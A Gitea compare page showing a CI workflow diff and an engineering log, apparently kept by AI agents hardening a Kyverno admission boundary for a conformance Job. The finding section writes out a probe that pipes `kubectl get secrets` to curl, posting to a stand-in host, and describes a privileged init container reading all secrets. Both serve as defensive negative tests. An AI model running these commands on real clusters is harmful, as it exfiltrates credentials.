Compare commits
15
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
44dbd44333 | ||
|
|
f81967228d | ||
|
|
d3d5f6d8d2 | ||
|
|
20ea70d221 | ||
|
|
8c7a770de2 | ||
|
|
1c5974013e | ||
|
|
4791d4a43a | ||
|
|
dfd608ac32 | ||
|
|
1d2d9d6549 | ||
|
|
4b31f97486 | ||
|
|
50a48e6f07 | ||
|
|
911ead5fbd | ||
|
|
8eb5baffa4 | ||
|
|
4634b44cc7 | ||
|
|
e6f6e4febb |
No files matched your search
@@ -110,9 +110,27 @@ jobs:
|
||||
# UNVERIFIED and NAMED in the PASS headline, never faked green. GATE_STRICT_SKIPS + the
|
||||
# tolerated exit 3 are explained in the file header; the tolerance covers exactly one
|
||||
# thing, the unverifiable spec repo, and nothing else can produce a 3 here.
|
||||
# GITEA_SETTINGS_TOKEN feeds ci/gitea-settings.sh, the only check that can see Gitea's
|
||||
# OWN database (branch protection + runner registration) — the blind spot that let `main`
|
||||
# sit unprotected with zero runners for a month while this repo recorded both as working.
|
||||
# Referenced BY NAME only; create it with infra/gitea/set-ci-token.sh.
|
||||
#
|
||||
# WIDENED TOLERANCE, DECLARED: `|| [ "$?" -eq 3 ]` used to cover exactly one skip
|
||||
# (spec-immutability). It now also covers gitea-settings skipping when that secret is
|
||||
# absent. That is a deliberate, temporary weakening: making an unwired credential BLOCK
|
||||
# every PR is the lock-yourself-out failure this repo keeps walking into. Once the secret
|
||||
# exists and the stage has been SEEN green, set REQUIRE_GITEA_SETTINGS=true below and the
|
||||
# tolerance narrows back to spec-immutability alone.
|
||||
- name: Merge gate — ci/gate.sh (what `make -C ci gate` runs)
|
||||
env:
|
||||
GATE_STRICT_SKIPS: "true"
|
||||
SETTINGS_API_TOKEN: ${{ secrets.SETTINGS_API_TOKEN }}
|
||||
# ENABLED 2026-09-29. A skip of gitea-settings now BLOCKS instead of degrading to
|
||||
# UNDETERMINED. Safe because THIS PR's own CI run is the proof: if the stage were
|
||||
# skipping, this line turns that into a failure and the PR goes red instead of
|
||||
# merging. Green here means the token resolved and the live Gitea matched the
|
||||
# declaration in infra/gitea/expected-branch-protection.json.
|
||||
REQUIRE_GITEA_SETTINGS: "true"
|
||||
run: ./ci/gate.sh || [ "$?" -eq 3 ]
|
||||
|
||||
# NOTE: no actions/upload-artifact step. Gitea Actions rejects upload-artifact@v4
|
||||
|
||||
@@ -4964,3 +4964,548 @@ account rubber-stamping the human. That is ceremony, not review. Options: keep i
|
||||
the ceremony; drop `required_approvals` to 0 and rely on the status check, which is the gate
|
||||
that actually verifies something; or add a second human account. **This is a decision for the
|
||||
operator, not a default to be chosen silently.**
|
||||
|
||||
## 2026-09-29 (end of session) — **PM HANDOFF.** Six PRs open; read this before touching anything.
|
||||
|
||||
The session that began "set a SOPS secret" ended having rebuilt the delivery pipeline. Plex is
|
||||
claimed and scanning. `main` is genuinely protected and the gate genuinely enforces. What is
|
||||
open is listed below with the reason each is not merged.
|
||||
|
||||
### MERGE THESE — both gated green
|
||||
|
||||
| PR | What | Risk |
|
||||
|---|---|---|
|
||||
| #12 | `CLUSTER_AVAILABLE=true` would have FAKED A GREEN over 54 skipped tests — now blocks | low; makes a wrong state loud |
|
||||
| #13 | Admission boundary constraining the conformance CI trigger (R-SEC-02) + a fail-open fix in `ci/l0.sh` | medium; touches Kyverno + adds a Flux Kustomization |
|
||||
|
||||
(#11, the Gitea drift detector, was merged during this session — hence the action below.)
|
||||
|
||||
Order does not matter for correctness; if a later one conflicts, rebase and the gate re-runs
|
||||
(~1m35s in CI, 76s local). **Each was gated in the pinned toolbox, not on a host.**
|
||||
|
||||
### DO THIS FIRST — #11 is merged and its detector is currently INERT
|
||||
|
||||
`ci/gitea-settings.sh` SKIPS until its token exists, and **a skipped detector detects nothing**:
|
||||
|
||||
./infra/gitea/set-ci-token.sh # mints + stores GITEA_SETTINGS_TOKEN, never prints it
|
||||
|
||||
Then open any PR and confirm the gate prints `gitea-settings: green`. ONLY THEN uncomment
|
||||
`REQUIRE_GITEA_SETTINGS: "true"` in `.gitea/workflows/gate.yml`, so a future missing token blocks
|
||||
instead of skipping. Doing that before seeing it green locks the repo.
|
||||
|
||||
Until then every gate run ends `MERGE GATE: UNDETERMINED` (exit 3) naming `gitea-settings` as
|
||||
unrun. That is BY DESIGN and `gate.yml` tolerates exit 3, so PRs still pass — but it is not a
|
||||
green run, and it is saying so honestly. The token is what turns it green.
|
||||
|
||||
### A DIFFERENT COMPUTER NEEDS THREE THINGS THAT ARE NOT IN GIT
|
||||
|
||||
This is the part that will silently waste an hour otherwise. None of these are in the repo, by
|
||||
design, and without them the toolbox and the cluster are unreachable:
|
||||
|
||||
1. **`~/.config/sops/age/keys.txt`** — the age PRIVATE key. Without it NO `*.sops.yaml` can be
|
||||
read or edited, and `sops` will fail in a way that looks like a broken file. Copy it from this
|
||||
workstation; the public recipient in `.sops.yaml` is only half the pair.
|
||||
2. **`infra/ansible/.cache/prod.kubeconfig`** — untracked, so it exists only in the main checkout
|
||||
on this machine. Without it `dev.sh` refuses to start. In a git WORKTREE it is absent even
|
||||
here: use `DEV_KUBECONFIG=/dev/null` for anything that needs no cluster (see `CLAUDE.md` §3).
|
||||
3. **A Gitea credential** for `gitea.home.keithjackson.dev` (this session used the stored
|
||||
`~/.git-credentials`). `git push` and every `infra/gitea/*.sh` script needs it.
|
||||
|
||||
### STATE, MEASURED — do not re-derive it from this log, re-measure it
|
||||
|
||||
`CLAUDE.md` §2b exists because this log was confidently wrong for a month. Verify before relying:
|
||||
|
||||
protected:true user_can_push:false enable_status_check:true
|
||||
status_check_contexts:["gate / gate (pull_request)"] required_approvals:1
|
||||
block_admin_merge_override:true runner incluster-dind: online gate ~1m35s
|
||||
|
||||
### NEXT WORK, in priority order
|
||||
|
||||
1. **Finish the L2/L3 wiring** now that the credential model is decided and #13 lands the
|
||||
boundary. Still missing (`docs/plans/l2-l3-conformance-ci-wiring.md` §3): a runner image with
|
||||
bash/python3/kubectl/git/chainsaw, an init-container cloning the repo at the PR SHA, results
|
||||
collection via a base64 tar on stdout, and the `ci/conformance.sh` rewrite to drive the Job.
|
||||
**Tighten the admission policy's image pattern to the literal digest when that image exists.**
|
||||
2. **Do NOT set `vars.CLUSTER_AVAILABLE=true`** until step 1 is done. It does not enable L2/L3; it
|
||||
only changes which way the stage fails (see #12).
|
||||
3. The `gitea-settings` detector covers branch protection + runners. It does NOT yet cover Gitea
|
||||
Actions **variables and secrets** — the next-nearest invisible surface.
|
||||
4. `required_approvals: 1` with two accounts means a PR authored by `jakman85` needs `gitea-admin`
|
||||
to approve. The operator holds ultimate authority and does not require that review; revisit if
|
||||
it becomes friction.
|
||||
|
||||
### THE LESSON, because it caused every finding here
|
||||
|
||||
Four times this session the repository was treated as evidence about the live platform, and four
|
||||
times it was wrong: the push that would "be rejected" (it would not have been), the token that
|
||||
"could not survive the pipeline" (~2m45s, it fits), the required check that would "deadlock" (a
|
||||
skipped Gitea job reports SUCCESS), and enforcement that was "on" (admins overrode it). Two
|
||||
fail-opens in the gate itself were found the same way — `kyverno test` certifying policies that do
|
||||
not load, and `CLUSTER_AVAILABLE` certifying 54 skipped tests as passed.
|
||||
|
||||
**Measure, then assert. `CLAUDE.md` §2b is the rule; this entry is the evidence for it.**
|
||||
|
||||
## 2026-09-29 (addendum, unattended) — the detector is armed; **I CANNOT MERGE, and that is correct**
|
||||
|
||||
Operator ran `set-ci-token.sh`, uncommented `REQUIRE_GITEA_SETTINGS` locally on `main`, and left
|
||||
instructions to continue unattended and merge on green CI. Two things came out of that.
|
||||
|
||||
### 1. The detector was INERT, and would have stayed inert silently
|
||||
|
||||
`set-ci-token.sh` PUT the secret as `GITEA_SETTINGS_TOKEN`. **Gitea reserves the `GITEA_`
|
||||
prefix** for secret names (as GitHub reserves `GITHUB_`) and rejected it:
|
||||
|
||||
HTTP 400 {"message":"invalid secret name"}
|
||||
|
||||
The script sent that PUT to `/dev/null` and printed `==> stored.` unconditionally; `curl -sS`
|
||||
exits 0 on an HTTP error. **A token existed; no secret did.** So `ci/gitea-settings.sh` would
|
||||
have skipped on every run forever — and enabling `REQUIRE_GITEA_SETTINGS` on top of that would
|
||||
have BLOCKED EVERY PR, including the one fixing it. That is the exact lock-out this repo has now
|
||||
nearly walked into three times.
|
||||
|
||||
Fixed in **PR #15**: the secret is `SETTINGS_API_TOKEN`, and `set-ci-token.sh` now checks the HTTP
|
||||
status AND reads the secret back before claiming success. The missing verification was the real
|
||||
defect; the illegal name is only what it hid. The secret is stored and verified present, and
|
||||
**PR #15's CI is GREEN with `REQUIRE_GITEA_SETTINGS=true`** — which is the only proof that
|
||||
matters, because a skip would have made it red.
|
||||
|
||||
The operator's local edit could not be pushed to `main` (protected). It is carried in PR #15.
|
||||
|
||||
### 2. No agent-authored PR can be merged without the operator — by design
|
||||
|
||||
Merging PR #12 as `gitea-admin` returned:
|
||||
|
||||
HTTP 405 {"message":"Does not have enough approvals"}
|
||||
|
||||
`required_approvals: 1` + `block_admin_merge_override: true` + two accounts, one of which
|
||||
(`gitea-admin`) authors every agent PR and cannot self-approve. **So "merge on green CI" is not
|
||||
something an agent can execute here.** That is the control working, not a fault — and it was
|
||||
deliberately not circumvented. Self-approving would hollow out the boundary that was just built
|
||||
and verified.
|
||||
|
||||
**This is an operator decision, not a bug to fix:** either accept that every agent PR waits for a
|
||||
human approval (the honest reading of the control), or add a second human reviewer account, or
|
||||
lower `required_approvals` to 0 and rely on the status check — which is the gate that actually
|
||||
verifies something. Whichever, change the DECLARATION in
|
||||
`infra/gitea/expected-branch-protection.json` in the same commit, or `gitea-settings` will
|
||||
correctly fail the gate on the drift.
|
||||
|
||||
### Open PRs, all gated green, none mergeable by an agent
|
||||
|
||||
| PR | What |
|
||||
|---|---|
|
||||
| #12 | `CLUSTER_AVAILABLE=true` would have faked a green over 54 skipped tests — now blocks |
|
||||
| #13 | Conformance-trigger admission boundary (R-SEC-02) + `kyverno test` fail-open fix |
|
||||
| #14 | This handoff |
|
||||
| #15 | Secret-name fix + `REQUIRE_GITEA_SETTINGS` enabled — **CI green with REQUIRE active** |
|
||||
|
||||
Suggested order: #15 first (it arms the detector and its CI already proved it), then #12, #13,
|
||||
#14. If a later one conflicts, rebase; the gate re-runs in ~1m36s.
|
||||
|
||||
### Deliberately NOT done while unattended
|
||||
|
||||
No new feature work was started. Five unmerged PRs already stack review burden, and building the
|
||||
next L2/L3 piece on top of unmerged branches would create a rebase tangle for no gain — the work
|
||||
cannot land any faster. The next piece is specified and ready to start once these are merged:
|
||||
`docs/plans/l2-l3-conformance-ci-wiring.md` §3, with §4's credential model now decided and its
|
||||
boundary landed in #13.
|
||||
|
||||
---
|
||||
|
||||
## 2026-09-29 — The conformance Job can now run a specific commit and get its results out. **And the policy meant to bound it ignores `initContainers`.**
|
||||
|
||||
Branch `feat/conformance-job-template`. Closes `docs/plans/l2-l3-conformance-ci-wiring.md`
|
||||
§3 items **2** (repo at the commit under test) and **3** (results collection with no exec
|
||||
channel). `chainsaw-job.yaml` was a skeleton whose `workspace` was an empty `emptyDir` with
|
||||
nothing to fill it; it is now a renderable run template.
|
||||
|
||||
### The binding constraint, and how it was met
|
||||
|
||||
`platform/kyverno/admission/conformance-trigger-job-shape.yaml` (Enforce, `failurePolicy:
|
||||
Fail`) admits **only `workspace` and `results`** as volume names. So the git credential
|
||||
could not be a Secret volume and the init container could not have a scratch volume:
|
||||
|
||||
- **Credential:** env vars from `secretKeyRef` on Secret `conformance-git-readonly`
|
||||
(`username`, `token`) — an env var is not a volume. By **name only**; no literal in the
|
||||
tree. The token reaches `git` through an inline `credential.helper` that reads the
|
||||
environment, so it never appears in argv (where `ps` and the Pod spec would show it) and
|
||||
is never written to disk.
|
||||
- **Writable scratch under `readOnlyRootFilesystem: true`:** `$TMPDIR=/workspace/tmp` and
|
||||
`$HOME=/workspace/home`, i.e. directories **on** the `workspace` emptyDir. Not `subPath`
|
||||
mounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner
|
||||
could not write it.
|
||||
- **`results` could not be mounted at `conformance/_artifacts`:** that path sits inside the
|
||||
clone target, and a directory mounted into it makes the target non-empty, so `git clone`
|
||||
refuses. Hence `CONF_ARTIFACTS=/results` (new, honoured only when set).
|
||||
|
||||
**Admission proven, not assumed** — rendered template through the pinned CLI (kyverno
|
||||
v1.19.0, in the toolbox):
|
||||
|
||||
kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
|
||||
--resource <rendered job> --userinfo .../user-info.yaml
|
||||
Applying 3 policy rule(s) to 1 resource(s)...
|
||||
pass: 3, fail: 0, warn: 0, error: 0, skip: 0
|
||||
|
||||
with negative controls on the **same** rendered template to show the rules actually bite:
|
||||
adding a third volume → `trigger-volumes-must-be-workspace-or-results` fails; wrapping
|
||||
`command` in `/bin/sh -c` → `trigger-may-create-only-the-committed-conformance-run` fails at
|
||||
`/spec/template/spec/containers/0/command/`. That shape is now a fixture
|
||||
(`real-template` in `platform/kyverno/tests/conformance-trigger/resources.yaml`), so a
|
||||
template that drifts out of admission fails `make -C ci l0` instead of failing at 2am.
|
||||
|
||||
### ⚠ THE FINDING: the admission boundary does not look at `initContainers`
|
||||
|
||||
Measured, same CLI, same rendered template — **only** the init container's `args` replaced
|
||||
with `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`,
|
||||
`containers[0]` left fully compliant:
|
||||
|
||||
pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # ADMITTED
|
||||
|
||||
All three rules read `spec.template.spec.containers` (rule 1's pattern, rule 3's
|
||||
`containers[0].args`) or `volumes` (rule 2). **`initContainers` is never examined.** So the
|
||||
precise escalation the policy exists to stop — the privileged `conformance-runner` SA
|
||||
running an arbitrary command because Kubernetes places no `use` check on
|
||||
`serviceAccountName` — is still reachable, one field over. This predates today's work: the
|
||||
gap was there when the policy shipped in PR #13, and a Job with no init container at all
|
||||
could already have carried one.
|
||||
|
||||
**Not fixed here, deliberately.** A security boundary changes in its own reviewed PR, not
|
||||
smuggled in beside the Job that has to satisfy it. Recommended follow-up, in order:
|
||||
|
||||
1. Bake the clone script into the runner image at a fixed path, drop the init container's
|
||||
`args`, and add a 4th rule pinning `initContainers` to one container on the same
|
||||
digest-pinned image with `command: ["/usr/local/bin/conformance-clone"]` and no args.
|
||||
Then no caller-supplied code runs in an init container at all.
|
||||
2. Weaker fallback: deny any `initContainers` entry whose image is not the pinned runner
|
||||
image.
|
||||
|
||||
Also worth knowing: **`kyverno apply` evaluates these rules with or without `--userinfo`** —
|
||||
the extra-volume control fails either way. A CLI pass is evidence about the *patterns*, not
|
||||
about the `subjects` filter. The claim in `kyverno-test.yaml`'s header that userinfo is what
|
||||
makes the cases non-trivial holds for `kyverno test`, not for `kyverno apply`.
|
||||
|
||||
### Results out of the Job with no exec channel
|
||||
|
||||
The trigger identity has no `pods/exec` and cannot `kubectl cp`, and admission pins
|
||||
`command` to exactly `["./run.sh"]` — so nothing can wrap the suite to package artifacts
|
||||
afterwards. `run.sh` therefore does it itself, on an **EXIT trap** (a failed run still ships
|
||||
its red JUnit — that is the evidence the gate most needs), armed only by
|
||||
`CONF_EMIT_ARTIFACTS_TGZ=1`:
|
||||
|
||||
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||
<base64 of the tgz, wrapped at 76 columns>
|
||||
=== ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||
|
||||
`kubectl logs` is a lossy channel (`--tail`, a rotated CRI log, a dropped watch), and base64
|
||||
decodes a truncated stream to plausible garbage without complaint. So size, base64 line
|
||||
count and digest appear in **both** markers and the collector owes five checks, each
|
||||
documented above the function. **Verified locally, not asserted:** full decode round-trips
|
||||
to a valid tar; tail-truncation and head-truncation fail check 1; a dropped interior line
|
||||
fails check 3; one corrupted character fails check 5. Exit-code preservation through the
|
||||
trap was tested for 0, an explicit `exit 3`, and a `set -e` abort — the envelope's `rc=`
|
||||
matched the process rc in all three.
|
||||
|
||||
### Gate
|
||||
|
||||
Toolbox only (`DEV_KUBECONFIG=/dev/null` + an `ENGINE` shim bind-mounting the main
|
||||
checkout's `.git`, per CLAUDE.md §3):
|
||||
|
||||
lint: green l0: green render-golden: green l1: green
|
||||
spec-immutability: SKIPPED (sibling spec repo absent)
|
||||
gitea-settings: SKIPPED (no SETTINGS_API_TOKEN locally)
|
||||
conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE unset)
|
||||
MERGE GATE: UNDETERMINED — rc 3
|
||||
|
||||
Nothing FAILED. rc 3 is the expected local outcome and `gate.yml` tolerates it.
|
||||
|
||||
### UNVERIFIED — read before believing any of this runs
|
||||
|
||||
- **Nothing here has ever executed.** The `conformance-runner` image does not exist (plan §3
|
||||
item 1), so the Job cannot be submitted, and the init container's clone/fetch/assert
|
||||
sequence, the credential helper and the envelope-over-`kubectl-logs` path are all
|
||||
**unexercised against a cluster**. The envelope itself is verified; its transport is not.
|
||||
- Secret `conformance-git-readonly` does not exist (plan §3 item 6, operator).
|
||||
- `uid 65532` is asserted by the Job's `runAsUser`/`fsGroup`; the image that must provide it
|
||||
has not been built. If the Containerfile picks a different uid, the Job will not start.
|
||||
- Whether Gitea's `uploadpack` accepts `fetch origin <sha>` for a non-tip commit was not
|
||||
tested; the shallow-clone-then-fetch fallback assumes it does. If it does not, the
|
||||
`HEAD == SHA` assertion turns that into a loud failure rather than a wrong-tree run.
|
||||
- `ci/conformance.sh` still runs the suite **locally** and is untouched (plan §3 item 4).
|
||||
This branch changes nothing about what CI does today.
|
||||
|
||||
### PR #20 — and a correction to what was expected to block it
|
||||
|
||||
Opened against `main`, **not merged**. I was briefed to expect CI to FAIL on an
|
||||
`approval-policy` check because `conformance/**` is security-relevant. **That check does not
|
||||
exist.** Measured rather than assumed:
|
||||
|
||||
grep -rn approval .gitea/workflows/ -> no match
|
||||
GET /repos/.../branches/main
|
||||
protected True
|
||||
user_can_push False
|
||||
enable_status_check True
|
||||
status_check_contexts ['gate / gate (pull_request)']
|
||||
required_approvals 1
|
||||
GET /repos/.../commits/<head>/statuses
|
||||
success gate / gate (pull_request) Successful in 1m36s
|
||||
pending gate / conformance (pull_request) Blocked by required conditions
|
||||
|
||||
So: the **only** required context is `gate / gate`, and it is GREEN (1m36s — it ran; this is
|
||||
not the skipped-job-reports-success trap). There is **no path-based approval policy in CI at
|
||||
all**. What actually stops this merging is `required_approvals: 1` plus the fact that
|
||||
`gitea-admin` authors every agent PR and cannot self-approve — the same control that returned
|
||||
HTTP 405 on PR #12. `gate / conformance` is "Blocked by required conditions", i.e. the
|
||||
`CLUSTER_AVAILABLE` guard, unchanged.
|
||||
|
||||
**Consequence worth acting on:** a change under `conformance/**` — including a change to the
|
||||
admission boundary itself — is gated by a *generic* human approval, not by anything that knows
|
||||
the path is security-relevant. If the intent is "security-relevant paths get a stricter
|
||||
review", that policy is not implemented anywhere in this repo. `CODEOWNERS`-style path review
|
||||
or a `paths:`-scoped required check would be the mechanism; neither exists today.
|
||||
|
||||
The PR was **not merged** and nothing was worked around.
|
||||
|
||||
---
|
||||
|
||||
## 2026-09-29 (addendum to PR #20) — the `initContainers` hole is CLOSED, and so is `ephemeralContainers`
|
||||
|
||||
The coordinator reproduced the finding above independently, then **authorised the policy edit my
|
||||
brief had forbidden** — reversing it explicitly, on the grounds that the ban existed to stop the
|
||||
boundary being *bent to fit a Job*, not to stop a hole being closed. Their reproduction, which I
|
||||
had not tried: a `privileged: true` `docker.io/library/alpine:latest` initContainer running
|
||||
`kubectl get secrets -A`, `serviceAccountName: conformance-runner`, `containers[0]` fully
|
||||
compliant → `pass: 3, fail: 0`. **Admitted.** `=(privileged): "false"` in rule 1 only ever
|
||||
applied to `containers[0]`.
|
||||
|
||||
### What changed
|
||||
|
||||
`platform/kyverno/admission/conformance-trigger-job-shape.yaml` gains two rules:
|
||||
|
||||
- **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer; it
|
||||
must be on the digest-pinned `conformance-runner` image, `command:
|
||||
["/usr/local/bin/conformance-clone"]`, **no `args`**, non-root, `allowPrivilegeEscalation:
|
||||
false`, not privileged.
|
||||
- **`trigger-may-not-declare-ephemeral-containers`** — the third container list, answering the
|
||||
question the coordinator asked. See the honesty note below.
|
||||
|
||||
Both use `deny` conditions, not a `pattern`. A Kyverno array `pattern` asserts "**at least one**
|
||||
element matches", so a pattern-based init rule would have admitted the committed clone step
|
||||
**plus** an arbitrary second init container — the same hole rule 2's own comment describes for
|
||||
volumes. `second-initcontainer` is a fixture precisely because I nearly wrote it that way.
|
||||
|
||||
Two implementation traps worth recording:
|
||||
|
||||
- **`not_null()`, never `||`.** JMESPath treats `false` as falsy, so
|
||||
`element.securityContext.allowPrivilegeEscalation || `true`` rewrites the **compliant** value
|
||||
`false` into `true` and denies every good Job. Absence defaults must use
|
||||
`not_null(x, `default`)`.
|
||||
- **`join(' ', command)` compared as a string, not the array compared with `Equals`.** Kyverno's
|
||||
`Equals`/`NotEquals` are not dependable on arrays, and an element-wise match would let
|
||||
`["/bin/sh","-c",…]` through on element 0.
|
||||
|
||||
### The clone script moved OUT of the Job — that is the actual fix
|
||||
|
||||
Pinning `command` is worthless if the command is `/bin/bash -c` and the script arrives as `args`:
|
||||
a policy cannot distinguish the committed script from an attacker's, because both are just data.
|
||||
So the logic is now `conformance/incluster/conformance-clone`, which the runner image installs
|
||||
at `/usr/local/bin/conformance-clone` (mode 0755 — added to plan §5 step 1 as a hard requirement,
|
||||
and handed to the agent building that image; the `^[0-9a-f]{40}$` guard and the
|
||||
`rev-parse HEAD == SHA` assertion are the load-bearing parts and survived the move verbatim). The
|
||||
script stays in-repo and reviewable, which is the property the inline version was protecting. The
|
||||
Job's init container is now `command` + `env` and nothing else.
|
||||
|
||||
**One thing I changed while moving it, and it matters:** the repository URL is now **hardcoded in
|
||||
the script** instead of passed as `CONFORMANCE_REPO_URL` env. The policy pins `command` but says
|
||||
nothing about `env`. Had the URL stayed in env, a trigger could point the clone at a repository it
|
||||
controls and have `containers[0]` execute that repo's `./run.sh` as `conformance-runner` — the
|
||||
same escalation, laundered through a field nobody constrains. **Do not move that URL back into
|
||||
env.** Constraining `env` in the policy is the remaining hardening step and is NOT done.
|
||||
|
||||
### Proven, not asserted (kyverno v1.19.0, pinned toolbox)
|
||||
|
||||
##### the real rendered template MUST PASS
|
||||
Applying 5 policy rule(s) to 1 resource(s)...
|
||||
pass: 5, fail: 0, warn: 0, error: 0, skip: 0
|
||||
|
||||
##### the coordinator's exact probe MUST FAIL
|
||||
1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ...
|
||||
pass: 4, fail: 1, warn: 0, error: 0, skip: 0
|
||||
|
||||
##### same escalation via ephemeralContainers MUST FAIL
|
||||
1 - trigger-may-not-declare-ephemeral-containers ...
|
||||
pass: 4, fail: 1, warn: 0, error: 0, skip: 0
|
||||
|
||||
Full fixture matrix from `kyverno apply --policy-report` (37 pass / 10 fail, 0 error, 0 skip):
|
||||
|
||||
| resource | may-create | volumes | args | initContainers | ephemeral |
|
||||
|---|---|---|---|---|---|
|
||||
| `real-template` | pass | pass | pass | **pass** | pass |
|
||||
| `good-run` | pass | pass | pass | — | pass |
|
||||
| `evil-command` | **fail** | pass | — | — | pass |
|
||||
| `evil-image` | **fail** | pass | — | — | pass |
|
||||
| `tag-not-digest` | **fail** | pass | — | — | pass |
|
||||
| `host-namespaces` | **fail** | pass | — | — | pass |
|
||||
| `extra-volume` | pass | **fail** | — | — | pass |
|
||||
| `injected-args` | pass | pass | **fail** | — | pass |
|
||||
| `evil-initcontainer` | pass | pass | pass | **fail** | pass |
|
||||
| `initcontainer-with-args` | pass | pass | pass | **fail** | pass |
|
||||
| `second-initcontainer` | pass | pass | pass | **fail** | pass |
|
||||
| `evil-ephemeral-container` | pass | pass | pass | — | **fail** |
|
||||
|
||||
`—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Note how every
|
||||
`evil-*` init/ephemeral case **passes the three original rules** — that is the whole finding in
|
||||
one column, and it is why the fixtures are worth more than the rules' prose.
|
||||
|
||||
### UNVERIFIED — the `ephemeralContainers` question, answered honestly
|
||||
|
||||
I could **not** confirm whether the API server would accept `ephemeralContainers` inside a Job's
|
||||
pod template. Upstream, the field is settable only through the `pods/ephemeralcontainers`
|
||||
subresource and `ValidatePodCreate` rejects it on Pods, but that check does not obviously apply to
|
||||
a pod **template** nested in a Job, and I did not find a definitive answer. Establishing it would
|
||||
need a `create --dry-run=server`, i.e. a mutating request, which CLAUDE.md §5 reserves to the
|
||||
operator — so I did not run one. **The rule was added anyway:** it is a no-op if upstream already
|
||||
rejects the field, and it is the same hole again if it does not. "Probably rejected upstream" is
|
||||
not a boundary. If someone with cluster-write access wants to settle it, that is a one-command
|
||||
check; the rule should stay either way.
|
||||
|
||||
Still unverified, unchanged from the entry above: nothing here has executed, because the runner
|
||||
image does not exist — and it now has one more obligation to meet (`/usr/local/bin/conformance-clone`)
|
||||
before it can. If that path is missing or named differently, the init container fails to start;
|
||||
if it is present but the image is not the pinned digest, admission denies the Job.
|
||||
|
||||
### Process note, worth more than the policy fix
|
||||
|
||||
Both halves of this came from **probing rather than reading**. The hole was not visible in the
|
||||
policy's prose — which is careful, accurate about what it does constrain, and explicit that it is
|
||||
"THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. The `--userinfo`
|
||||
observation is the same shape: `kyverno apply` evaluates these rules with or without it, so a
|
||||
green CLI run is evidence about the patterns and **not** about the `subjects` filter that decides
|
||||
whether they apply at all. A policy is only as trustworthy as its negative fixtures.
|
||||
|
||||
---
|
||||
|
||||
## 2026-09-29 (second addendum to PR #20) — `env` was the same hole a third time; and the plan's phase-exit invocation cannot run
|
||||
|
||||
Three inputs arrived after the entry above: agent 1 shipped `/usr/local/bin/conformance-clone`
|
||||
in PR #18, the coordinator invited me to constrain `env`, and agent 1 measured which `args`
|
||||
shapes the image can actually execute. All three changed this branch.
|
||||
|
||||
### 1. I was shipping a DUPLICATE of a security-critical script — deleted
|
||||
|
||||
I wrote `conformance/incluster/conformance-clone.sh`; agent 1's PR #18 adds
|
||||
`conformance/incluster/conformance-clone`. Two copies of the clone entrypoint in one directory,
|
||||
one of them baked into the image and one of them not, is a guaranteed drift into "the reviewed
|
||||
file is not the file that runs". **Mine is deleted**; everything now references agent 1's path,
|
||||
which arrives with #18.
|
||||
|
||||
I read their version before deleting mine rather than assuming compatibility, and the interface
|
||||
my Job depends on matches exactly: env `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`;
|
||||
baked clone target `/workspace/src` (which is what makes my `workingDir:
|
||||
/workspace/src/conformance` correct); `TMPDIR`/`HOME` required to be under `/workspace`; and both
|
||||
load-bearing guards preserved — `^[0-9a-f]{40}$` on the SHA and `rev-parse HEAD == SHA` after
|
||||
checkout. Theirs is a superset: it also hard-fails a `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC`
|
||||
that disagrees with the baked values, rather than honouring it.
|
||||
|
||||
Worth recording that agent 1 reached the hardcoded-URL conclusion **independently and against an
|
||||
instruction to read those values from env** — the coordinator's instruction, which they then
|
||||
retracted. Two agents finding the same "the policy doesn't read this field, so trusting it just
|
||||
moves the injection" reasoning in the same afternoon is the signal that the field-enumeration gap
|
||||
was systemic, not a one-off.
|
||||
|
||||
### 2. `env` was unconstrained — now allowlisted (two more rules)
|
||||
|
||||
The coordinator left this to my judgement. I closed it, because it is provably the same bug:
|
||||
`command` and `args` are pinned, so injection moves to whatever adjacent field nobody
|
||||
enumerated, and **`BASH_ENV` alone is arbitrary code execution** — bash sources it before
|
||||
running a non-interactive script, and the runner's command IS a bash script.
|
||||
|
||||
- **`trigger-env-names-must-be-the-committed-set`** — runner container: `CONF_ARTIFACTS`,
|
||||
`CONF_EMIT_ARTIFACTS_TGZ`, `TMPDIR`, `HOME`. Clone init container: `CONFORMANCE_GIT_SHA`,
|
||||
`CONFORMANCE_REPO_URL`, `CONFORMANCE_SRC`, `GITEA_USERNAME`, `GITEA_TOKEN`, `TMPDIR`, `HOME`.
|
||||
The init list iterates `initContainers[].env[]` flattened, so it keeps working if the
|
||||
at-most-one cap is ever relaxed.
|
||||
- **`trigger-may-not-use-envfrom`** — `envFrom` injects a whole ConfigMap/Secret whose KEYS are
|
||||
nowhere in the Job, which would make the allowlist above unenforceable by inspection.
|
||||
|
||||
**Deliberately NOT constrained:** env *values*, and which Secret a `valueFrom` reads. Values are
|
||||
legitimately environment-specific, and `conformance-runner` can already read this namespace's
|
||||
Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector
|
||||
that matters, because a name is what a program keys behaviour on.
|
||||
|
||||
Two Kyverno traps, both of which silently invert the result and are now commented in the rules:
|
||||
|
||||
- **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so
|
||||
``element.securityContext.allowPrivilegeEscalation || `true` `` rewrites the **compliant**
|
||||
value `false` into `true` and denies every good Job.
|
||||
- **`join(' ', command)` compared as a string**, not the array compared with `Equals`: Kyverno's
|
||||
`Equals`/`NotEquals` are unreliable on arrays, and element-wise matching lets
|
||||
`["/bin/sh","-c",…]` through on element 0.
|
||||
|
||||
### 3. The committed `args` default was a shape that cannot run
|
||||
|
||||
Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on
|
||||
the runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and `run.sh` runs its
|
||||
offline L0/L1 stages first for any selection that is not offline-only. I traced `run.sh` to state
|
||||
